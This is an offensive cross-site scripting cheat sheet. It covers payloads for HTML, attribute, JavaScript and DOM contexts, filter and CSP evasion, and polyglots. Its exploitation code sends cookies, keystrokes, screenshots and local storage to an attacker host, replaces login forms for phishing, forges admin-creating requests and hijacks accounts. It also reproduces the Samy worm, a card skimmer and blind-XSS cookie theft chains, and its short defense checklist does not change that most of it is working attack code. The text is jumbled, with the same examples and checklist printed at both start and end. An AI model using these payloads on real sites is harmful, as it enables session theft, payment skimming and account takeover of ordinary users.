// Injected into MySpace profile (inline CSS trick to bypass filters)
// Condensed version of original payload:
<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')">
<span id="expr">
var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
var C;
try{var D=document.body.createTextRange();
C=D.htmlText}
catch(e){}
if(C){return C}else{return eval('document.body.inne'+'rHTML')}}
function getData(AU){
M=getFromURL('http://www.myspace.com/index.cfm?fuseaction=user.viewProfile&friendID='+AU,'Mytoken');
}
// Adds attacker as friend and replicates to victim's profile
</span></div>
Example: British Airways (2018) — Magecart Card Skimmer via XSS
// Attacker injected this script via third-party JS compromise on ba.com
// Script ran on checkout page and exfiltrated payment data
document.querySelector('#payment-form').addEventListener('submit', function() {
var data = {
name: document.querySelector('[name=name]').value,
card: document.querySelector('[name=cardnumber]').value,
cvv: document.querySelector('[name=cvc]').value,
expiry: document.querySelector('[name=expiry]').value,
email: document.querySelector('[name=email]').value
};
fetch('https://baways.com/api', { // typosquat domain
method: 'POST',
body: JSON.stringify(data)
});
});
Example: HTB: Nightmare — Blind XSS → Admin Cookie
// Step 1: Inject in a form field visible only to admin
// Name field: "><script src="http://attacker.com/steal.js"></script>
// Step 2: steal.js (hosted on your server)
var i = new Image();
i.src = "http://attacker.com/log?c=" + encodeURIComponent(document.cookie)
+ "&u=" + encodeURIComponent(document.location);
// Step 3: Admin visits page, cookie sent to attacker
// GET /log?c=session=admin_token_here&u=http://target/admin
// Step 4: Use stolen cookie
curl -b "session=admin_token_here" http://target.htb/admin
Example: Uber Stored XSS (2016, $7,500)
# Vulnerable field: trip receipt "note" field
# Attacker books a trip, sets note to:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
# When Uber driver views trip details in their app → cookie exfiltrated
# Driver session cookie → driver account takeover
Defense Checklist
- Encode output in the correct context (HTML, attribute, JS, URL, CSS)
- Use Content-Security-Policy with restrictive directives (no
unsafe-inline) - Set HttpOnly flag on session cookies
- Set X-XSS-Protection: 1; mode=block (legacy, but still useful)
- Use DOMPurify for sanitizing HTML before insertion into DOM
- Avoid
innerHTML,document.write(),eval()with user-controlled data - Apply Same-Site cookie attribute to prevent CSRF chaining
References
Scope: Detection to exploitation for all XSS types. Covers HTML, attribute, JavaScript, URL, and CSS injection contexts with WAF bypass and CSP evasion.
Quick Detection Probes
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<svg onload=alert(1)>
{{7*7}}
${7*7}
Use unique strings (e.g., xsstest123) to locate reflection point first, then build payload around the context.
HTML Context
<!-- Basic -->
<script>alert(document.domain)</script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<!-- Without parentheses (WAF bypass) -->
<script>alert`1`</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<!-- Event handlers -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(document.cookie)">
<body onload=alert(1)>
<body onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<input autofocus onblur=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe src=x onerror=alert(1)>
<object data=x onerror=alert(1)>
<!-- SVG -->
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set onbegin=alert(1) attributeName=x></svg>
<svg><animateTransform onbegin=alert(1) attributeName=transform></svg>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
<!-- MathML -->
<math><mtext><script>alert(1)</script></mtext></math>
<!-- HTML5 tags -->
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<form><button formaction=javascript:alert(1)>click</button></form>
<keygen autofocus onfocus=alert(1)>
<!-- Data URIs -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<object data="data:text/html,<script>alert(1)</script>"></object>
Attribute Context
Injection inside an HTML attribute value:
<!-- Breaking out of attribute -->
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
" autofocus onfocus="alert(1)
" onmouseover="alert(1)" x="
<!-- Inside href -->
javascript:alert(1)
javascript:alert(document.cookie)
JaVaScRiPt:alert(1)
java	script:alert(1)
java
script:alert(1)
javascript:alert(1)
<!-- Inside src/data -->
x" onerror="alert(1)
x onerror=alert(1)//
<!-- Inside style attribute -->
" style="animation-name:x" onanimationstart="alert(1)
JavaScript Context
Injection inside <script> tags or JS code:
// Breaking out of string
'-alert(1)-'
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
// Breaking out of JS block
</script><img src=x onerror=alert(1)>
// Already in JS, no quotes needed
;alert(1)//
\n alert(1)//
// Template literals
`${alert(1)}`
// Tagged templates
alert`1`
String.fromCharCode(97,108,101,114,116,40,49,41)
// eval variations
eval('ale'+'rt(1)')
eval(atob('YWxlcnQoMSk='))
Function('alert(1)')()
setTimeout('alert(1)',0)
setInterval('alert(1)',0)
DOM-Based XSS
Sink-based injection — data flows from source to dangerous sink without server round-trip.
Common Sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location.href
location.hash
location.search
location.pathname
document.referrer
window.name
document.cookie
localStorage.getItem()
sessionStorage.getItem()
Dangerous Sinks:
// Code execution
eval()
setTimeout()
setInterval()
Function()
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()
// URL-based
location.href = ...
location.assign()
location.replace()
window.open()
DOM XSS Payloads:
// fragment/hash-based
http://target.com/#<img src=x onerror=alert(1)>
http://target.com/#"><script>alert(1)</script>
// If app does: document.getElementById('x').innerHTML = location.hash.slice(1)
http://target.com/#<img src=x onerror=alert(1)>
// If app does: eval(location.hash.slice(1))
http://target.com/#alert(1)
// If app reads document.URL and sets innerHTML
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Blind XSS
Payload executes in a different context (admin panel, log viewer, email client, PDF generator):
<!-- Classic - calls back to your server -->
<script src="https://your-xss-catcher.com/xss.js"></script>
<img src=x onerror="fetch('https://your-xss-catcher.com/?c='+document.cookie)">
<script>new Image().src='https://your-xss-catcher.com/?cookie='+document.cookie</script>
<!-- XSS Hunter payload -->
"><script src=https://yoursubdomain.xss.ht></script>
<!-- Stealth with data exfil -->
<script>
fetch('https://your-server.com/?url='+btoa(location.href)
+'&cookie='+btoa(document.cookie)
+'&dom='+btoa(document.documentElement.innerHTML.substring(0,5000))
)
</script>
<!-- Form input fields -->
<img src=x onerror=this.src='https://your-server.com/?c='+document.cookie name="firstname">
<!-- Comment / review fields -->
'"><script>new Image().src="https://your-server.com/xss?c="+document.cookie</script>
<!-- User-agent / Referer header injection -->
User-Agent: <script>alert(1)</script>
Referer: "><script>alert(1)</script>
Filter Evasion
Tag/Keyword Bypass
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<sCrIpT>alert(1)</sCrIpT>
<!-- Null byte injection -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\x00ipt>alert(1)</script>
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<img src=x onerror=alert(1)>
<script>alert(1)</script>
<!-- HTML5 entities -->
<img src=x onerror=	alert(1)>
<img src=x onerror=
alert(1)>
<!-- Whitespace alternatives -->
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<!-- Obfuscated event handlers -->
<img src=x OnError=alert(1)>
<img src=x oNerRoR=alert(1)>
<!-- Breaking the word "script" -->
<scr<script>ipt>alert(1)</scr</script>ipt>
Character Encoding
<!-- Hex encoding in attributes -->
<img src=x onerror=alert(1)>
<!-- URL encoding (in href/src) -->
<a href="javascript:alert(1)">click</a>
<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C%2Fscript%253E
<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
Alternative Sinks
<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<video autoplay onloadstart=alert(1)><source>
<audio autoplay onloadstart=alert(1)><source>
<!-- When onerror/onload blocked -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<a href=x tabindex=1 onfocus=alert(1)>click</a>
<form id=x></form><button form=x formaction=javascript:alert(1)>
XSS Polyglots
Single payload that works in multiple contexts:
<!-- PortSwigger polyglot -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
<!-- Full polyglot -->
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
<!-- Short polyglot -->
"><svg onload=alert(1)//
'><svg onload=alert(1)//
Exploitation
Cookie Theft
// Basic cookie grab
document.location='https://attacker.com/?c='+document.cookie
new Image().src='https://attacker.com/?c='+encodeURIComponent(document.cookie)
fetch('https://attacker.com/?c='+btoa(document.cookie))
// XMLHttpRequest
var x=new XMLHttpRequest();
x.open('GET','https://attacker.com/?c='+document.cookie,true);
x.send();
// Via fetch with full headers
fetch('https://attacker.com/steal',{
method:'POST',
body:JSON.stringify({
cookie:document.cookie,
url:location.href,
ls:JSON.stringify(localStorage)
})
})
Keylogger
document.onkeypress=function(e){
fetch('https://attacker.com/?k='+encodeURIComponent(e.key));
}
Screenshot via html2canvas
var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
document.head.appendChild(s);
s.onload=function(){
html2canvas(document.body).then(canvas=>{
fetch('https://attacker.com/screenshot',{
method:'POST',
body:canvas.toDataURL()
})
})
}
DOM Manipulation (Phishing)
// Replace login form action
document.querySelector('form[action*="login"]').action='https://attacker.com/steal';
// Inject fake login form
document.body.innerHTML='<form action="https://attacker.com/steal" method="POST"><input name="u" placeholder="Username"><input name="p" type="password" placeholder="Password"><button>Login</button></form>';
CSRF via XSS
// GET-based CSRF
new Image().src='https://target.com/admin/delete-user?id=1';
// POST-based CSRF
var f=document.createElement('form');
f.action='https://target.com/admin/create-admin';
f.method='POST';
['username','password'].forEach((n,i)=>{
var inp=document.createElement('input');
inp.name=n;inp.value=['newadmin','Pass1!'][i];
f.appendChild(inp);
});
document.body.appendChild(f);f.submit();
XSS to Account Takeover (via CSRF token grab)
fetch('/account/settings',{credentials:'include'})
.then(r=>r.text())
.then(html=>{
var token=html.match(/csrf[_-]?token["\s]*[=:]["'\s]*([a-zA-Z0-9_-]+)/i)?.[1];
if(token){
fetch('/account/change-email',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'[email protected]&csrf_token='+token
})
}
})
CSP Bypass
CSP Audit
# Check response headers
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;
# Common weaknesses:
unsafe-inline → inline scripts allowed
unsafe-eval → eval() allowed
* → wildcard (any domain)
data: → data URIs allowed
http: → any HTTP source
Bypass via Whitelisted CDNs
<!-- If AngularJS CDN is whitelisted -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
<!-- If jQuery CDN is whitelisted -->
<script src="https://code.jquery.com/jquery-3.6.0.js"></script>
<!-- JSONP endpoints on whitelisted domains -->
<script src="https://trusted.com/api?callback=alert(1)"></script>
Bypass via script-src 'nonce-...'
<!-- If nonce leaks in DOM or is predictable -->
<script nonce="leaked-nonce-value">alert(1)</script>
Bypass via unsafe-eval
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
Bypass via object/embed tags
<object data="data:text/html,<script>parent.alert(1)</script>"></object>
<embed src="data:text/html,<script>parent.alert(1)</script>">
Bypass via base-uri injection
<!-- If base-uri not restricted -->
<base href="https://attacker.com/">
<!-- Now all relative script src = attacker.com -->
Bypass via link prefetch
<link rel="prefetch" href="https://attacker.com/?c="+document.cookie>
XSS in JSON Responses
// If app returns JSON and page reflects it
Content-Type: text/html (not application/json)
// Response:
{"name":"</script><script>alert(1)</script>"}
// Or if JSON parsed into DOM
{"name":"<img src=x onerror=alert(1)>"}
XSS in HTTP Headers
// Reflected in response page
Referer: "><script>alert(1)</script>
User-Agent: "><script>alert(1)</script>
X-Forwarded-For: "><script>alert(1)</script>
Origin: "><script>alert(1)</script>
XSS in File Upload
<!-- SVG file upload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
</svg>
<!-- HTML file disguised as image -->
GIF89a<script>alert(1)</script>
<!-- PDF with JavaScript (if rendered in browser) -->
<!-- Use PDF with /OpenAction JS action -->
<!-- CSV injection (not XSS but related) -->
=cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0
mXSS (Mutation XSS)
Browser HTML parser mutates sanitized input back into executable form:
<!-- Input after sanitizer: -->
<p>safe</p>
<!-- After browser mutation (innerHTML assignment): -->
<p><script>alert(1)</script></p>
<!-- Exploiting innerHTML mutation -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<listing><img src="</listing><img src=x onerror=alert(1)>">
<style><img src="</style><img src=x onerror=alert(1)>">
Tools
| Tool | Use Case |
|---|---|
| XSS Hunter | Blind XSS capture (cookie, screenshot, DOM) |
| Dalfox | Fast automated XSS scanner |
| XSStrike | Intelligent XSS discovery |
| Burp Suite | Manual testing, active scanner |
| kxss | Find reflected params in URLs |
# Dalfox
dalfox url "http://target.com/?q=1"
dalfox file urls.txt --blind https://your-callback.com
# XSStrike
python xsstrike.py -u "http://target.com/?q=test"
# kxss (pipe URLs to it)
echo "http://target.com/?q=1" | kxss
cat urls.txt | kxss
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2021-22159 | 2021 | HumHub Social Network | Stored XSS → admin account takeover |
| CVE-2022-26134 | 2022 | Confluence Server (OGNL) | XSS-like injection → RCE (related chain) |
| Samy Worm | 2005 | MySpace | Stored XSS → first major self-replicating XSS worm (1M friends in 20h) |
| British Airways Breach | 2018 | BA Website | Stored XSS via Magecart → 380K payment cards skimmed |
| eBay XSS | 2014–2015 | eBay | Persistent XSS in listings → phishing at scale |
| Twitter XSS Worm | 2010 | DOM-based XSS → auto-retweet worm, 100K+ tweets in 1 hour | |
| PayPal Stored XSS | 2012 | PayPal Business | Stored XSS → account takeover, $2,500 bounty |
| Yahoo Mail Worm | 2014 | Yahoo Mail | Stored XSS → credential harvesting via 0-day |
CTF Machines
- HTB: Templated — Flask/Jinja2 XSS + SSTI combo
- HTB: Nightmare — Blind XSS → admin cookie steal → RCE chain
- HTB: Forgot — Stored XSS in password reset flow
- HTB: BroScience — XSS + CSRF chain in PHP app
- OWASP WebGoat — XSS, CSP bypass, DOM-based XSS labs
- PentesterLab: XSS and MySQL FILE — XSS to escalation
Bug Bounty Highlights
- HackerOne — Uber (2016): Stored XSS in trip history → driver account takeover, $7,500
- HackerOne — Twitter (2019): DOM XSS in embedded Tweet → user session compromise, $2,940
- HackerOne — Automattic/WordPress (2018): Stored XSS in Gutenberg editor → author → admin via stored XSS
Example: Samy Worm (2005) — First Major XSS Worm
// Injected into MySpace profile (inline CSS trick to bypass filters)
// Condensed version of original payload:
<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')">
<span id="expr">
var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
var C;
try{var D=document.body.createTextRange();
C=D.htmlText}
catch(e){}
if(C){return C}else{return eval('document.body.inne'+'rHTML')}}
function getData(AU){
M=getFromURL('http://www.myspace.com/index.cfm?fuseaction=user.viewProfile&friendID='+AU,'Mytoken');
}
// Adds attacker as friend and replicates to victim's profile
</span></div>
Example: British Airways (2018) — Magecart Card Skimmer via XSS
// Attacker injected this script via third-party JS compromise on ba.com
// Script ran on checkout page and exfiltrated payment data
document.querySelector('#payment-form').addEventListener('submit', function() {
var data = {
name: document.querySelector('[name=name]').value,
card: document.querySelector('[name=cardnumber]').value,
cvv: document.querySelector('[name=cvc]').value,
expiry: document.querySelector('[name=expiry]').value,
email: document.querySelector('[name=email]').value
};
fetch('https://baways.com/api', { // typosquat domain
method: 'POST',
body: JSON.stringify(data)
});
});
Example: HTB: Nightmare — Blind XSS → Admin Cookie
// Step 1: Inject in a form field visible only to admin
// Name field: "><script src="http://attacker.com/steal.js"></script>
// Step 2: steal.js (hosted on your server)
var i = new Image();
i.src = "http://attacker.com/log?c=" + encodeURIComponent(document.cookie)
+ "&u=" + encodeURIComponent(document.location);
// Step 3: Admin visits page, cookie sent to attacker
// GET /log?c=session=admin_token_here&u=http://target/admin
// Step 4: Use stolen cookie
curl -b "session=admin_token_here" http://target.htb/admin
Example: Uber Stored XSS (2016, $7,500)
# Vulnerable field: trip receipt "note" field
# Attacker books a trip, sets note to:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
# When Uber driver views trip details in their app → cookie exfiltrated
# Driver session cookie → driver account takeover
Defense Checklist
- Encode output in the correct context (HTML, attribute, JS, URL, CSS)
- Use Content-Security-Policy with restrictive directives (no
unsafe-inline) - Set HttpOnly flag on session cookies
- Set X-XSS-Protection: 1; mode=block (legacy, but still useful)
- Use DOMPurify for sanitizing HTML before insertion into DOM
- Avoid
innerHTML,document.write(),eval()with user-controlled data - Apply Same-Site cookie attribute to prevent CSRF chaining